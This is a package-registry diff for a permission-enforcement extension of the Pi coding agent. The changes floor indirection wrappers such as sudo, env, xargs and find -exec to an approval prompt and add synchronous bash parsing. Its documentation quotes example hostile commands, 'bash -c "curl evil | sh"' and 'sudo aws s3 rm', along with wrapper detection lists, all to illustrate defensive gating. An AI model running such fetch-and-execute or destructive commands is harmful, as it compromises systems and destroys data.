@gotgenes/pi-permission-system 20.3.0 → 20.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (57) hide show
  1. package/CHANGELOG.md +28 -0
  2. package/README.md +1 -1
  3. package/docs/configuration.md +3 -0
  4. package/docs/cross-extension-api.md +4 -0
  5. package/docs/subagent-integration.md +2 -2
  6. package/package.json +1 -1
  7. package/src/access-intent/access-path.ts +7 -5
  8. package/src/access-intent/bash/bash-path-resolver.ts +1 -2
  9. package/src/access-intent/bash/command-enumeration.ts +98 -24
  10. package/src/access-intent/bash/msys-bash-tokens.ts +2 -2
  11. package/src/access-intent/bash/parser.ts +39 -0
  12. package/src/access-intent/bash/program.ts +3 -3
  13. package/src/access-intent/bash/sync-commands.ts +31 -0
  14. package/src/access-intent/bash/token-classification.ts +18 -32
  15. package/src/access-intent/path-normalization.ts +24 -43
  16. package/src/access-intent/tool-kind.ts +57 -0
  17. package/src/authority/approval-escalator.ts +3 -3
  18. package/src/authority/authorizer-selection.ts +1 -1
  19. package/src/authority/authorizer.ts +2 -2
  20. package/src/authority/denying-authorizer.ts +1 -1
  21. package/src/authority/forwarded-request-server.ts +3 -3
  22. package/src/authority/forwarder-context.ts +1 -1
  23. package/src/authority/forwarding-io.ts +3 -3
  24. package/src/{forwarding-manager.ts → authority/forwarding-manager.ts} +2 -2
  25. package/src/authority/local-user-authorizer.ts +2 -2
  26. package/src/{permission-forwarding.ts → authority/permission-forwarding.ts} +1 -2
  27. package/src/authority/permission-prompter.ts +2 -2
  28. package/src/authority/subagent-context.ts +11 -14
  29. package/src/authority/subagent-detection.ts +5 -4
  30. package/src/bash-advisory-check.ts +38 -0
  31. package/src/denial-messages.ts +6 -9
  32. package/src/handlers/before-agent-start.ts +8 -0
  33. package/src/handlers/gates/bash-command.ts +22 -8
  34. package/src/handlers/gates/helpers.ts +12 -4
  35. package/src/handlers/gates/runner.ts +1 -1
  36. package/src/handlers/gates/tool-call-gate-pipeline.ts +3 -2
  37. package/src/handlers/gates/tool.ts +9 -4
  38. package/src/index.ts +23 -12
  39. package/src/input-normalizer.ts +53 -48
  40. package/src/{canonicalize-path.ts → path/canonicalize-path.ts} +4 -3
  41. package/src/path/path-containment.ts +24 -0
  42. package/src/path/path-flavor.ts +114 -0
  43. package/src/{pi-infrastructure-read.ts → path/pi-infrastructure-read.ts} +12 -17
  44. package/src/path-normalizer.ts +35 -59
  45. package/src/permission-gate.ts +1 -1
  46. package/src/permission-manager.ts +36 -56
  47. package/src/permission-prompts.ts +4 -3
  48. package/src/permission-session.ts +6 -5
  49. package/src/permissions-service.ts +8 -0
  50. package/src/rule.ts +19 -21
  51. package/src/session-approval.ts +1 -1
  52. package/src/tool-input-path.ts +17 -19
  53. package/src/tool-preview-formatter.ts +2 -5
  54. package/src/path-containment.ts +0 -56
  55. /package/src/{permission-dialog.ts → authority/permission-dialog.ts} +0 -0
  56. /package/src/{subagent-lifecycle-events.ts → authority/subagent-lifecycle-events.ts} +0 -0
  57. /package/src/{subagent-registry.ts → authority/subagent-registry.ts} +0 -0
package/CHANGELOG.md CHANGED
@@ -5,6 +5,34 @@ All notable changes to this project will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [20.4.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.4.0...pi-permission-system-v20.4.1) (2026-07-12)
9
+
10
+
11
+ ### Bug Fixes
12
+
13
+ * **pi-permission-system:** floor find/fd exec wrappers to ask ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([6cb1d54](https://github.com/gotgenes/pi-packages/commit/6cb1d5422682894a3f742af9b4769d8ef8c40ed8))
14
+ * **pi-permission-system:** floor sudo/env/xargs/time/nohup/timeout/nice to ask ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([b4d5c40](https://github.com/gotgenes/pi-packages/commit/b4d5c40985e4921d3ab1037ba3b273b6fa2fbd59))
15
+
16
+
17
+ ### Documentation
18
+
19
+ * **pi-permission-system:** document indirection-wrapper floor and mark roadmap step 5 ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([e35c1ee](https://github.com/gotgenes/pi-packages/commit/e35c1ee622f847a9096699495502e36064cae96e))
20
+
21
+ ## [20.4.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.3.0...pi-permission-system-v20.4.0) (2026-07-12)
22
+
23
+
24
+ ### Features
25
+
26
+ * **pi-permission-system:** add bash advisory decompose-or-fallback resolver ([e0637f1](https://github.com/gotgenes/pi-packages/commit/e0637f150d5ae0dcb16b92ccaa8520367636cc3c))
27
+ * **pi-permission-system:** add warm tree-sitter parser and sync bash-command parse ([66470f0](https://github.com/gotgenes/pi-packages/commit/66470f084e639e4c7282d4a8e49b3fd6937bcb9e))
28
+ * **pi-permission-system:** decompose advisory bash checkPermission at gate parity ([d8d7ef0](https://github.com/gotgenes/pi-packages/commit/d8d7ef010263b831e512dc26e97dde5bb93c5337))
29
+ * **pi-permission-system:** warm bash parser on before_agent_start ([509c597](https://github.com/gotgenes/pi-packages/commit/509c597ffcf24bb9ef8af64ba91b7ae849ad02a8))
30
+
31
+
32
+ ### Documentation
33
+
34
+ * **pi-permission-system:** document advisory bash decomposition and complete roadmap step 4 ([aeb8633](https://github.com/gotgenes/pi-packages/commit/aeb86330f0f7b179796879f3fe4abc1a3642a57d))
35
+
8
36
  ## [20.3.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.2.0...pi-permission-system-v20.3.0) (2026-07-09)
9
37
 
10
38
 
package/README.md CHANGED
@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
19
19
  - **Gates MCP and skill access** at server, tool, and skill-name granularity
20
20
  - **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
21
21
  - **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
22
- - **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry), and an unparseable bash command — or an opaque `bash -c`/`eval` wrapper — prompts (`ask`) rather than passing silently
22
+ - **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently
23
23
  - **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
24
24
  - **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI
25
25
  - **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration
@@ -271,6 +271,9 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
271
271
  - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
272
272
  An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
273
273
  So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
274
+ - An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
275
+ So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
276
+ As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
274
277
 
275
278
  Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
276
279
  A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
@@ -90,6 +90,10 @@ Returns `PermissionCheckResult` with fields `state`, `matchedPattern`, `source`,
90
90
 
91
91
  For a path-shaped surface (`path`, `external_directory`, or a path-bearing tool — `read`/`write`/`edit`/`grep`/`find`/`ls`), the supplied `value` is matched against both the path as given and its canonical (symlink-resolved) form, at parity with the gates — so a query for a symlinked path matches a rule on its real target.
92
92
 
93
+ For the `bash` surface, a `value` containing a chained or nested command (joined by `&&`, `||`, `;`, `|`, `&`, or newlines, or nested in a command substitution/subshell) is decomposed into its command-pattern units and resolved most-restrictive (`deny` > `ask` > `allow`), at parity with the enforcement gate — so `cd /repo && npm install x` returns the decision of the `npm install x` unit, not the leading `cd`.
94
+ A previously chained command that returned `allow` (riding an allowed leading command) may therefore now return `deny`/`ask`.
95
+ Decomposition needs the tree-sitter parser, which is warmed at `before_agent_start` (before any tool call); a bash query in the brief pre-warm window falls back to a whole-string match, so the answer is never weaker than the gate — only strengthened once warm.
96
+
93
97
  #### `getToolPermission`
94
98
 
95
99
  Returns `"allow"` | `"deny"` | `"ask"` for a tool name without considering command-level rules.
@@ -3,11 +3,11 @@
3
3
  ## Native integration with `@gotgenes/pi-subagents`
4
4
 
5
5
  [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) is the only subagent extension with native permission-system integration.
6
- It publishes a child-execution lifecycle on `pi.events`; this package subscribes (see `src/subagent-lifecycle-events.ts`) and registers every in-process child session with the `SubagentSessionRegistry` on the `subagents:child:session-created` event — emitted before `bindExtensions()` fires — and unregisters it on `subagents:child:disposed`.
6
+ It publishes a child-execution lifecycle on `pi.events`; this package subscribes (see `src/authority/subagent-lifecycle-events.ts`) and registers every in-process child session with the `SubagentSessionRegistry` on the `subagents:child:session-created` event — emitted before `bindExtensions()` fires — and unregisters it on `subagents:child:disposed`.
7
7
  Because the event bus dispatches synchronously, the synchronous registration completes before binding proceeds.
8
8
  This inverts the former dependency direction: the core no longer looks up this package's service ([ADR-0002] / pi-subagents [#261]).
9
9
 
10
- The `SubagentSessionRegistry` is backed by a process-global singleton (`globalThis` + `Symbol.for()`), accessed via `getSubagentSessionRegistry()` in `src/subagent-registry.ts`.
10
+ The `SubagentSessionRegistry` is backed by a process-global singleton (`globalThis` + `Symbol.for()`), accessed via `getSubagentSessionRegistry()` in `src/authority/subagent-registry.ts`.
11
11
  This is necessary because each session's `ResourceLoader` creates its own `pi.events` bus: the parent emits `subagents:child:session-created` on the parent's bus, and only the parent's permission-system instance receives it.
12
12
  The child's jiti instance runs on a separate bus and never receives the event — but because both instances call `getSubagentSessionRegistry()`, they share the same store, so the parent's registration is visible to the child.
13
13
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gotgenes/pi-permission-system",
3
- "version": "20.3.0",
3
+ "version": "20.4.1",
4
4
  "description": "Permission enforcement extension for the Pi coding agent.",
5
5
  "type": "module",
6
6
  "exports": {
@@ -1,3 +1,5 @@
1
+ import type { PathFlavor } from "#src/path/path-flavor";
2
+
1
3
  import {
2
4
  canonicalNormalizePathForComparison,
3
5
  getPathPolicyValues,
@@ -103,13 +105,13 @@ export class AccessPath {
103
105
  */
104
106
  static forPath(
105
107
  pathValue: string,
106
- options: { cwd: string; resolveBase?: string; platform: NodeJS.Platform },
108
+ options: { cwd: string; resolveBase?: string; flavor: PathFlavor },
107
109
  ): AccessPath {
108
- const { cwd, resolveBase = cwd, platform } = options;
110
+ const { cwd, resolveBase = cwd, flavor } = options;
109
111
  return new AccessPath(
110
- normalizePathForComparison(pathValue, resolveBase, platform),
111
- getPathPolicyValues(pathValue, { cwd, resolveBase }, platform),
112
- canonicalNormalizePathForComparison(pathValue, resolveBase, platform),
112
+ normalizePathForComparison(pathValue, resolveBase, flavor),
113
+ getPathPolicyValues(pathValue, { cwd, resolveBase }, flavor),
114
+ canonicalNormalizePathForComparison(pathValue, resolveBase, flavor),
113
115
  );
114
116
  }
115
117
 
@@ -440,11 +440,10 @@ export class BashPathResolver {
440
440
  ): BashPathRuleCandidate[] {
441
441
  const seen = new Set<string>();
442
442
  const result: BashPathRuleCandidate[] = [];
443
- const windowsSeparators = this.normalizer.usesWindowsSeparators();
444
443
 
445
444
  for (const { token, base } of candidates) {
446
445
  const candidate =
447
- classifyTokenAsRuleCandidate(token, { windowsSeparators }) ??
446
+ classifyTokenAsRuleCandidate(token, this.normalizer.flavor) ??
448
447
  classifyPromotedRuleCandidate(token, this.isPromotablePathToken);
449
448
  if (!candidate) continue;
450
449
 
@@ -11,6 +11,16 @@ import type { BashCommandContext } from "#src/types";
11
11
  * The type is the stable extension point: #306 adds an execution `context`,
12
12
  * #307 adds per-command path candidates and an effective working directory.
13
13
  */
14
+ /**
15
+ * Why a command unit's decision is floored to at least `ask`.
16
+ * `"opaque-payload"` — an inline-shell payload (`bash -c`/`eval`) whose inner
17
+ * program is not re-parsed (#481).
18
+ * `"indirection"` — a prefix/exec wrapper (`sudo`/`env`/`xargs`/`find -exec`/…)
19
+ * whose inner command is a visible argument but is not gated on its own (#490).
20
+ * The kind selects the audit sentinel; both floor identically.
21
+ */
22
+ export type WrapperKind = "opaque-payload" | "indirection";
23
+
14
24
  export interface BashCommand {
15
25
  readonly text: string;
16
26
  /**
@@ -19,11 +29,11 @@ export interface BashCommand {
19
29
  */
20
30
  readonly context?: BashCommandContext;
21
31
  /**
22
- * True when this is an opaque-payload wrapper (`bash -c`/`eval`) whose inner
23
- * program is not re-parsed; its decision is floored to at least `ask` so it
24
- * cannot ride a permissive `allow`.
32
+ * Set when this unit is a floored indirection wrapper; its decision is floored
33
+ * to at least `ask` so the wrapped command cannot ride a permissive `allow`.
34
+ * Absent for an ordinary command.
25
35
  */
26
- readonly opaque?: boolean;
36
+ readonly wrapperKind?: WrapperKind;
27
37
  }
28
38
 
29
39
  // ── Command enumeration ──────────────────────────────────────────────────────
@@ -83,7 +93,9 @@ const NESTED_EXECUTION_CONTEXTS = new Map<string, BashCommandContext>([
83
93
  * nested units can only ever produce a more-restrictive decision, never weaker.
84
94
  *
85
95
  * Each emitted command unit has any leading `variable_assignment` prefix
86
- * stripped (so an env-var prefix cannot defeat a command-pattern rule).
96
+ * stripped (so an env-var prefix cannot defeat a command-pattern rule), and a
97
+ * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
98
+ * tagged with a {@link WrapperKind} so its decision is later floored to `ask`.
87
99
  */
88
100
  export function collectCommands(node: TSNode): BashCommand[] {
89
101
  const out: BashCommand[] = [];
@@ -103,7 +115,7 @@ function collectCommandsInto(
103
115
 
104
116
  if (node.type === "command") {
105
117
  out.push(
106
- makeUnit(commandUnitText(node), context, isOpaqueWrapperCommand(node)),
118
+ makeUnit(commandUnitText(node), context, classifyWrapperCommand(node)),
107
119
  );
108
120
  // A command's text already contains any substitution; descend its subtree
109
121
  // to ALSO emit the inner commands of command/process substitutions.
@@ -130,10 +142,10 @@ function collectCommandsInto(
130
142
  function makeUnit(
131
143
  text: string,
132
144
  context: BashCommandContext | undefined,
133
- opaque = false,
145
+ wrapperKind?: WrapperKind,
134
146
  ): BashCommand {
135
147
  const unit: BashCommand = context ? { text, context } : { text };
136
- return opaque ? { ...unit, opaque } : unit;
148
+ return wrapperKind ? { ...unit, wrapperKind } : unit;
137
149
  }
138
150
 
139
151
  /**
@@ -142,18 +154,71 @@ function makeUnit(
142
154
  const SHELL_WRAPPER_NAMES = new Set(["bash", "sh", "dash", "zsh", "ksh"]);
143
155
 
144
156
  /**
145
- * True when a `command` node is an opaque-payload wrapper: a shell
146
- * (`bash`/`sh`/`dash`/`zsh`/`ksh`) invoked with a `-c` flag, or `eval`. Its
147
- * inner program is a quoted argument the enumerator does not re-parse, so the
148
- * wrapper's decision is later floored to at least `ask`.
157
+ * Indirection wrappers that always invoke a following command, so the wrapper
158
+ * (not the inner command) is what a bash rule matches. Floored by command-name
159
+ * basename alone. Extend this set to cover another always-invoking wrapper.
160
+ */
161
+ const INDIRECTION_WRAPPER_NAMES = new Set([
162
+ "sudo",
163
+ "env",
164
+ "xargs",
165
+ "time",
166
+ "nohup",
167
+ "timeout",
168
+ "nice",
169
+ ]);
170
+
171
+ /**
172
+ * Search tools that invoke a command per result only when an exec flag is
173
+ * present; a bare search runs no subcommand. Floored only when an argument
174
+ * exactly matches one of the tool's exec flags. Extend by adding a tool with
175
+ * its exec-flag set.
176
+ */
177
+ const EXEC_CONDITIONAL_WRAPPERS = new Map<string, ReadonlySet<string>>([
178
+ ["find", new Set(["-exec", "-execdir", "-ok", "-okdir"])],
179
+ ["fd", new Set(["-x", "--exec", "-X", "--exec-batch"])],
180
+ ]);
181
+
182
+ /**
183
+ * Classify a `command` node as a floored wrapper, or `undefined` for an
184
+ * ordinary command. Reads only the node's own named children (a shallow walk),
185
+ * skipping any leading `variable_assignment` prefix, and matches the command
186
+ * name on its basename (so `/bin/bash -c …` counts).
149
187
  *
150
- * The command name is matched on its basename (so `/bin/bash -c …` counts), and
151
- * a `-c` flag is recognized within a short-flag cluster (`-c`, `-ec`, `-xc`).
152
- * A leading `variable_assignment` prefix is skipped, matching `commandUnitText`.
188
+ * `"opaque-payload"`: `eval`, or a shell (`bash`/`sh`/`dash`/`zsh`/`ksh`) with a
189
+ * `-c` short-flag cluster (`-c`, `-ec`, `-xc`) — the inner program is a quoted
190
+ * argument the enumerator does not re-parse (#481).
191
+ *
192
+ * `"indirection"`: an always-invoking prefix/exec wrapper
193
+ * (`INDIRECTION_WRAPPER_NAMES`), or a search tool (`EXEC_CONDITIONAL_WRAPPERS`,
194
+ * `find`/`fd`) carrying a per-result exec flag — the inner command is a visible
195
+ * argument that a `<cmd> *` rule would otherwise never match (#490). A bare
196
+ * `find`/`fd` search runs no subcommand and is not flagged.
197
+ */
198
+ function classifyWrapperCommand(node: TSNode): WrapperKind | undefined {
199
+ const { commandName, args } = readWrapperCommand(node);
200
+ if (commandName === undefined) return undefined;
201
+ if (commandName === "eval") return "opaque-payload";
202
+ if (SHELL_WRAPPER_NAMES.has(commandName) && hasShortFlagC(args)) {
203
+ return "opaque-payload";
204
+ }
205
+ if (INDIRECTION_WRAPPER_NAMES.has(commandName)) return "indirection";
206
+ const execFlags = EXEC_CONDITIONAL_WRAPPERS.get(commandName);
207
+ if (execFlags && args.some((arg) => execFlags.has(arg))) return "indirection";
208
+ return undefined;
209
+ }
210
+
211
+ /**
212
+ * A `command` node's name basename and its argument texts, skipping any leading
213
+ * `variable_assignment` prefix (matching `commandUnitText`). `commandName` is
214
+ * `undefined` for a pure assignment with no `command_name`.
153
215
  */
154
- function isOpaqueWrapperCommand(node: TSNode): boolean {
216
+ function readWrapperCommand(node: TSNode): {
217
+ commandName: string | undefined;
218
+ args: string[];
219
+ } {
155
220
  let commandName: string | undefined;
156
- let sawShortFlagC = false;
221
+ const args: string[] = [];
157
222
  for (let i = 0; i < node.childCount; i++) {
158
223
  const child = node.child(i);
159
224
  if (!child?.isNamed) continue;
@@ -162,15 +227,24 @@ function isOpaqueWrapperCommand(node: TSNode): boolean {
162
227
  commandName = basename(child.text);
163
228
  continue;
164
229
  }
165
- const text = child.text;
166
- if (text === "--") break;
167
- if (text.startsWith("-") && !text.startsWith("--") && text.includes("c")) {
168
- sawShortFlagC = true;
230
+ args.push(child.text);
231
+ }
232
+ return { commandName, args };
233
+ }
234
+
235
+ /**
236
+ * True when an argument list has a short-flag cluster containing `c` before any
237
+ * `--` end-of-options marker (`-c`, `-ec`, `-xc`) — the inline-shell payload
238
+ * flag for `bash`/`sh`/`dash`/`zsh`/`ksh`.
239
+ */
240
+ function hasShortFlagC(args: string[]): boolean {
241
+ for (const arg of args) {
242
+ if (arg === "--") return false;
243
+ if (arg.startsWith("-") && !arg.startsWith("--") && arg.includes("c")) {
244
+ return true;
169
245
  }
170
246
  }
171
- if (commandName === undefined) return false;
172
- if (commandName === "eval") return true;
173
- return SHELL_WRAPPER_NAMES.has(commandName) && sawShortFlagC;
247
+ return false;
174
248
  }
175
249
 
176
250
  /** The final path segment of a command name (`/bin/bash` → `bash`). */
@@ -22,7 +22,7 @@ import { isSafeSystemPath } from "#src/safe-system-paths";
22
22
  * - `plain` — everything else (relative tokens, `~/…`, native Windows drive
23
23
  * paths); handled by ordinary win32 resolution.
24
24
  */
25
- export type Win32BashTokenKind =
25
+ export type BashTokenShape =
26
26
  | { kind: "device" }
27
27
  | { kind: "drive-mount"; windowsPath: string }
28
28
  | { kind: "posix-absolute" }
@@ -36,7 +36,7 @@ export type Win32BashTokenKind =
36
36
  */
37
37
  const MSYS_DRIVE_MOUNT_PATTERN = /^\/([a-zA-Z])(\/.*)?$/;
38
38
 
39
- export function classifyWin32BashToken(token: string): Win32BashTokenKind {
39
+ export function classifyWin32BashToken(token: string): BashTokenShape {
40
40
  if (isSafeSystemPath(token)) return { kind: "device" };
41
41
 
42
42
  const driveMatch = MSYS_DRIVE_MOUNT_PATTERN.exec(token);
@@ -42,3 +42,42 @@ async function initParser(): Promise<TSParser> {
42
42
  // (e.g. a slow WASM load) is retried on the next tool call instead of poisoning
43
43
  // the parser for the process lifetime.
44
44
  export const getParser = memoizeAsyncWithRetry(initParser);
45
+
46
+ // Resolved parser cached for synchronous access after warm-up. The tree-sitter
47
+ // parser is stateless (parse is a pure function of its input), so caching it at
48
+ // module scope is safe even though module state now persists across same-cwd
49
+ // session switches.
50
+ let warmedParser: TSParser | null = null;
51
+
52
+ /**
53
+ * Warm the tree-sitter parser so {@link getWarmBashParser} can hand it out
54
+ * synchronously. Triggered at `before_agent_start` (which precedes any tool
55
+ * call) so the synchronous advisory bash path can decompose at gate parity
56
+ * (#309).
57
+ *
58
+ * Best-effort and idempotent: it swallows a WASM init failure (the sync
59
+ * accessor stays cold and callers fall back to whole-string matching), and it
60
+ * returns immediately once warm, so calling it every turn is free.
61
+ */
62
+ export async function warmBashParser(): Promise<void> {
63
+ if (warmedParser) return;
64
+ try {
65
+ warmedParser = await getParser();
66
+ } catch {
67
+ // Leave cold → advisory bash queries fall back to whole-string matching.
68
+ // getParser's own retry memoization re-attempts init on the next call.
69
+ }
70
+ }
71
+
72
+ /**
73
+ * The warmed parser for synchronous use, or `null` when it has not been warmed
74
+ * yet (the pre-warm window). Callers that get `null` must degrade gracefully.
75
+ */
76
+ export function getWarmBashParser(): TSParser | null {
77
+ return warmedParser;
78
+ }
79
+
80
+ /** Test-only: clear the warmed-parser cache so cold/warm cases are isolatable. */
81
+ export function resetWarmBashParser(): void {
82
+ warmedParser = null;
83
+ }
@@ -75,9 +75,9 @@ export class BashProgram {
75
75
  * Splits on the shell chain operators (`&&`, `||`, `;`, `|`, `&`, newlines);
76
76
  * quotes, command substitution, and subshells are respected by the parser and
77
77
  * are NOT split — a subshell or other compound statement is emitted whole.
78
- * Each unit has any leading `variable_assignment` prefix stripped, and an
79
- * opaque-payload wrapper (`bash -c`/`eval`) is flagged `opaque` so its decision
80
- * is floored to `ask`.
78
+ * Each unit has any leading `variable_assignment` prefix stripped, and a
79
+ * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
80
+ * tagged with a `wrapperKind` so its decision is floored to `ask`.
81
81
  * May be empty (e.g. an empty command or a comment-only line); callers fall
82
82
  * back to the whole command so the surface is never evaluated weaker than
83
83
  * before.
@@ -0,0 +1,31 @@
1
+ import {
2
+ type BashCommand,
3
+ collectCommands,
4
+ } from "#src/access-intent/bash/command-enumeration";
5
+ import { getWarmBashParser } from "#src/access-intent/bash/parser";
6
+
7
+ /**
8
+ * Synchronously enumerate the command-pattern units of a bash command using the
9
+ * warmed tree-sitter parser.
10
+ *
11
+ * Returns `null` when the parser has not been warmed yet (the pre-warm window),
12
+ * so the caller can fall back to whole-string matching rather than block. Once
13
+ * warm it mirrors the enumeration the gate performs (`BashProgram.commands()`):
14
+ * chains split, nested substitutions/subshells descend, opaque wrappers flagged
15
+ * (#306). Only the command-pattern surface is produced — no path slices, so no
16
+ * `PathNormalizer` is needed.
17
+ *
18
+ * An unparseable command yields an empty array (the caller's decompose path
19
+ * fails it closed via `resolveBashCommandCheck`, #452).
20
+ */
21
+ export function parseBashCommandsSync(command: string): BashCommand[] | null {
22
+ const parser = getWarmBashParser();
23
+ if (!parser) return null;
24
+ const tree = parser.parse(command);
25
+ if (!tree) return [];
26
+ try {
27
+ return collectCommands(tree.rootNode);
28
+ } finally {
29
+ tree.delete();
30
+ }
31
+ }
@@ -19,14 +19,15 @@
19
19
  * the absolute-path branch. Shape recognition is platform-independent string
20
20
  * matching; the platform-sensitive absoluteness decision belongs to `PathNormalizer`.
21
21
  *
22
- * `classifyTokenAsRuleCandidate` also accepts a `RuleCandidateOptions.windowsSeparators`
23
- * flag: when `true`, a backslash-relative token (`dir\file`, no leading `.`, no
24
- * `/`, no `..`, not a drive-letter absolute) is accepted as path-shaped (#520).
25
- * This is the one genuinely platform-sensitive shape rule the classifier owns
26
- * on POSIX `\` is a legal filename character, so the caller (`BashPathResolver`)
27
- * derives the flag from `PathNormalizer.usesWindowsSeparators()` rather than the
28
- * classifier reading `process.platform` itself.
22
+ * `classifyTokenAsRuleCandidate` takes the resolved {@link PathFlavor}: a
23
+ * backslash-relative token (`dir\file`, no leading `.`, no `/`, no `..`, not a
24
+ * drive-letter absolute) is accepted as path-shaped only under the win32 flavor,
25
+ * whose `hasPathSeparator` counts `\` as a separator (#520). This is the one
26
+ * genuinely platform-sensitive shape rule the classifier owns on POSIX `\` is
27
+ * a legal filename character — and the flavor owns the bit, so the classifier
28
+ * never reads `process.platform` itself.
29
29
  */
30
+ import type { PathFlavor } from "#src/path/path-flavor";
30
31
  import type { PathRuleTokenMatcher } from "#src/types";
31
32
 
32
33
  // ── Public classifiers ─────────────────────────────────────────────────────
@@ -53,36 +54,22 @@ export function classifyTokenAsPathCandidate(token: string): string | null {
53
54
  return null;
54
55
  }
55
56
 
56
- /**
57
- * Platform-sensitive options for {@link classifyTokenAsRuleCandidate}.
58
- */
59
- export interface RuleCandidateOptions {
60
- /**
61
- * True when the host platform treats `\` as a path separator (win32), so a
62
- * backslash-relative token (`dir\file`) is accepted as path-shaped (#520).
63
- * On POSIX `\` is a legal filename character, so omit this (or pass
64
- * `false`) to keep such a token bare.
65
- */
66
- readonly windowsSeparators?: boolean;
67
- }
68
-
69
57
  /**
70
58
  * Broader token classifier for cross-cutting `path` permission rules.
71
59
  *
72
60
  * Accepts the same shapes as `classifyTokenAsPathCandidate`, plus:
73
61
  * - Dot-files and `./`-relative paths (starting with `.`)
74
- * - Any relative path containing `/` (e.g. `src/foo.ts`)
62
+ * - Any token carrying a path separator under `flavor` (`src/foo.ts`, and on
63
+ * win32 the backslash-relative `dir\file`, #520) — `flavor.hasPathSeparator`
64
+ * owns the platform bit (POSIX: `/` only; win32: `/` or `\`), so this
65
+ * classifier never reads `process.platform`.
75
66
  * - Windows drive-letter absolute paths (`C:/…` or `C:\…`)
76
- * - A backslash-relative token (`dir\file`) when `options.windowsSeparators`
77
- * is `true` (#520) — the caller (`BashPathResolver`) derives this from
78
- * `PathNormalizer.usesWindowsSeparators()` so the platform bit has a single
79
- * home; this classifier never reads `process.platform`.
80
67
  *
81
- * The `~/foo` case is covered by `includes("/")` — no separate `~/` branch needed.
82
- * The forward-slash drive form (`C:/…`) is also caught by `includes("/")`, but the
68
+ * The `~/foo` case is covered by `hasPathSeparator` — no separate `~/` branch needed.
69
+ * The forward-slash drive form (`C:/…`) is also caught by `hasPathSeparator`, but the
83
70
  * explicit `WINDOWS_DRIVE_PATH_PATTERN` branch makes both separator forms first-class
84
- * and order-independent, and covers the backslash-only form (`D:\…`) which `includes("/")`
85
- * cannot reach.
71
+ * and order-independent, and covers the backslash-only form (`D:\…`) which the POSIX
72
+ * flavor's `hasPathSeparator` cannot reach.
86
73
  *
87
74
  * Does NOT require the strict "must start with `/` or `~/` or contain `..`"
88
75
  * gate that the external-directory classifier uses.
@@ -91,15 +78,14 @@ export interface RuleCandidateOptions {
91
78
  */
92
79
  export function classifyTokenAsRuleCandidate(
93
80
  token: string,
94
- options?: RuleCandidateOptions,
81
+ flavor: PathFlavor,
95
82
  ): string | null {
96
83
  if (rejectNonPathToken(token)) return null;
97
84
 
98
85
  if (token.startsWith(".")) return token;
99
- if (token.includes("/")) return token; // covers ~/ paths and all relative paths with /
86
+ if (flavor.hasPathSeparator(token)) return token; // ~/ paths, relative paths with /, and win32 dir\file
100
87
  if (token.includes("..")) return token; // bare ".." (no slash)
101
88
  if (WINDOWS_DRIVE_PATH_PATTERN.test(token)) return token; // backslash-only drive form
102
- if (options?.windowsSeparators && token.includes("\\")) return token;
103
89
 
104
90
  return null;
105
91
  }
@@ -1,35 +1,21 @@
1
- import { posix as posixPath, win32 as winPath } from "node:path";
2
-
3
- import { canonicalizePath } from "#src/canonicalize-path";
4
1
  import { expandHomePath } from "#src/expand-home";
5
- import { isPathWithinDirectory } from "#src/path-containment";
2
+ import { canonicalizePath } from "#src/path/canonicalize-path";
3
+ import type { PathFlavor } from "#src/path/path-flavor";
6
4
 
7
5
  /**
8
6
  * Representation derivation backing {@link AccessPath}: turn an accessed path
9
7
  * into the lexical / canonical / policy-value forms the resolver matches
10
8
  * against rules. Pure (no filesystem access except `canonicalizePath`'s
11
- * best-effort symlink resolution); the `platform` is injected, never read
12
- * ambiently.
9
